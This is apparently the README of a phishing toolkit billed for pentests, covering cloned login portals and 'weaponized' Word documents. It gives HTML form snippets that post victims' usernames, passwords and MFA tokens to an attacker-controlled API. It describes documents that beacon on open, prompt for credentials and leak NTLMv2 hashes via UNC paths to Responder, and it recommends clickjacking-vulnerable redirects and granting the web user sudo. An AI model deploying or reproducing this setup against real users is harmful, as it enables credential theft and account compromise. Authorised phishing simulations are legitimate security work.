See my blog @ https://curtbraz.blogspot.com/2018/10/phishapi-tool-rapid-deployment-of-fake.html for more details. This API has two main features. One allows you to easily deploy cloned landing pages for credential stealing and the other feature is weaponized Word doc creation. Both are integrated into Slack for real-time alerting. I'm currently running this same code for those that don't want to implement their own environment as a free service @ https://phishapi.com!
I've added support for MS Word document generation. Now, simply go to the API to create your payload, email it off, and wait for the Slack notification. It automatically includes a UNC path back as well (as does the Phishing Portal feature) so if you're running Responder in a background session you can capture NTLMv2 hashes and be notified via Slack! Support for weaponizing your own Word doc templates is built in. Just upload an existing doc and download it again to hook it. You can also choose to use Basic Auth which prompts the user for credentials, just like Phishery does!
-
Import the DB SQL Dump Schema to a new MySQL Instance
mysql -u root -h localhost < DatabaseSQLDump.sql;
-
Host the PHP from a web service (Apache, Nginx, IIS, etc)
-
Configure config.php variables
-
Limit Access to the "Results" Directory (Apache's Basic Auth is Recommended)
-
Use SSL and a Domain for the Hosted API
-
Add your web service account to /etc/sudoers (www-data for apache)
-
Optionally run Responder and BeEF in a screen session and import the crontab file
Rapid & Easy Deployment API for Phishing During Pentest Engagements. Output to MySQL/Web Table & Slack Bot. Supports BEEF Hooking & HaveIBeenPwned!
Figure 1: Choose "Fake Portal" From API Options
Figure 2: Choose a Pre-Designed Generic Portal for Landing Page
Figure 3: Fill Out API Details for Landing Page HTML and Optionally Include Your Own Logo
Figure 4: Download Automatically Created Source HTML to Host on a Standalone Server
Figure 5: The Hosted Site's Contents
If you don't wish to use a pre-populated landing page template, feel free to create or clone your own. Just add the following HTML tags to leverage the API for alerting and credential capturing :
-
Point your HTML Form to https://YOUR-API-HERE
<FORM METHOD="POST" ACTION="https://YOUR-API-HERE">
-
Make sure the following authentication fields are set
<INPUT NAME="username">
<INPUT NAME="password">
<INPUT NAME="token">
(OPTIONAL MFA FIELD) -
Add hidden input fields for the name of the project and the URL the users should be redirected to after submitting their credentials to you (Recommend Legitimate Login Location - For Best Results Use a Clickjacking Vulnerable URL That Allows iframes)
<INPUT NAME="project" VALUE="My_Project_Here" TYPE="hidden">
<INPUT NAME="redirect" VALUE="https://site_to_redirect_to" TYPE="hidden">
-
Optionally include hidden input fields for altering the Slack bot's behavior (Name and Emoji)
<INPUT NAME="slackbotname" VALUE="PhishBot" TYPE="hidden">
<INPUT NAME="slackemoji" VALUE=":fishing_pole_and_fish:" TYPE="hidden">
-
Sit back and wait for the Slack bot to notify you. When you want to see the credentials visit https://YOUR-API-HERE/results using your basic auth credentials or click the link in the Slack notification.
Figure 6: Someone Entered Credentials into the Fake Portal - Slack Alert
Figure 7: BeEF Hook Slack Alert (Optional in Case You Want to React Quickly w/ Modules)
Figure 8: Captured NTLMv2 Hash Exposed via Browser
Figure 9: Clicking the Slack Link Allows Viewing Credentials
-
Modify /phishingdocs/index.php to include your Slack Webhook parameters
-
Create /var/www/uploads Path and make sure your web user has sudoers access
-
Browse out to YOUR_URL.com and select "Weaponized Documents" to generate your DOCX
-
Optionally set up Responder in a background process and run
phishinghashes.sh
every minute or so with cron -
Set up your php.ini to allow uploads of at least 15MB and enable browsecap.ini for parsing UserAgent strings, otherwise some functionality may be limited.
-
Email your doc and wait for the Slack alerts!
Bonus points if you use your docs as honeypot bait! :)
Figure 1: Web Based Payload Generation - Create New Doc or Upload Existing w/ Payload Options
Figure 2: Opening Document Generated (New) by Service
Figure 3: If "Auth Prompt" is Selected in Payload Options, Display Basic Auth Prompt to User for Credential Capturing (like Phishery)
Figure 4: HTTP Beacon is Selected by Default and Alerts When the Target Opens the Document
Figure 5: If Credentials are Entered from Figure 3 Above, Notify via Slack When Captured
Figure 6: Clicking on the Slack Alert Displays Captured Details (Hashes, Credentials, Client Details)
Figure 7: Slack Alert when UNC/SMB Hashes are Received from Word Document
Currently, I'm running Responder in a Screen session with phishinghashes.sh scheduled via Cron to run every minute to pick up hashes, correlate phished users, and alert via Slack. You can also relay those hashes with another tool if you'd like to take things even further. Enjoy! :)